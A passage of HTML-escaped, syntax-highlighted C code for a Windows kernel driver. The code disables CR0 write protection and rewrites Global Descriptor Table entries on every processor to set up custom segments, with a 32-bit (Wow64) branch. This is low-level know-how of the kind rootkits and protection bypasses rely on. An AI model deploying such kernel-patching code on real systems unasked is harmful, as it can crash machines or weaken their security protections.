&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;Limit0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;Limit1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;Base0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;Base1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;Base2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;Access&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="nl"&gt;Limit2&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="nl"&gt;Unk&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="nl"&gt;L&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="nl"&gt;Db&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="nl"&gt;Granularity&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;Base3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;KGDTENTRY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;_SET_ENTRY_DPC_ARGS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="n"&gt;EntryId&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;NTSTATUS&lt;/span&gt; &lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Error_Trgt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Error_Base&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Error_Lmt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;SET_ENTRY_DPC_ARGS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;Gdt_SetEntryDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KDPC&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Dpc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SET_ENTRY_DPC_ARGS&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;SystemArgument1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;SystemArgument2&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Backup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;DisableWP&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;GDTR&lt;/span&gt; &lt;span class="n"&gt;Gdtr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;_sgdt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Gdtr&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Gdtr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Gdtr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Gdtr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;EntryId&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Error_Trgt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Error_Base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Gdtr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Error_Lmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Gdtr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Limit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GDT_SEG_NOT_PRES&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Target (%x) &amp;gt; Limit (%x) [%d]&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;KeGetCurrentProcessorNumber&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;Log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Target (%x) &amp;lt;= Limit (%x) [%d]&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;KeGetCurrentProcessorNumber&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;KeSignalCallDpcSynchronize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;SystemArgument2&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;ResetWP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Backup&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;KeSignalCallDpcDone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;SystemArgument1&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;NTSTATUS&lt;/span&gt; &lt;span class="nf"&gt;Gdt_SetEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint16_t&lt;/span&gt; &lt;span class="n"&gt;EntryId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;Entry&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;SET_ENTRY_DPC_ARGS&lt;/span&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;EntryId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;EntryId&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Entry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Entry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;KeGenericCallDpc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Gdt_SetEntryDpc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Args&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;NTSTATUS&lt;/span&gt; &lt;span class="nf"&gt;Gdt_SetupSeg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;Seg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint8_t&lt;/span&gt; &lt;span class="n"&gt;Wow64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint32_t&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;BOOLEAN&lt;/span&gt; &lt;span class="n"&gt;Granularity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Granularity&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="o"&gt;/=&lt;/span&gt; &lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 4 kb
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;73&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;74&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFF&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;75&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;GDT_LIM_TOO_BIG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;76&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;77&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;SegBaseVal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Wow64&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nf"&gt;Gdt_GetEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;GDT_ENTRY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mh"&gt;0x23&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;Gdt_GetEntry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nf"&gt;GDT_ENTRY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mh"&gt;0x33&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;KGDTENTRY&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;SegBase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;SegBaseVal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;79&lt;/span&gt;&lt;span class="cl"&gt;
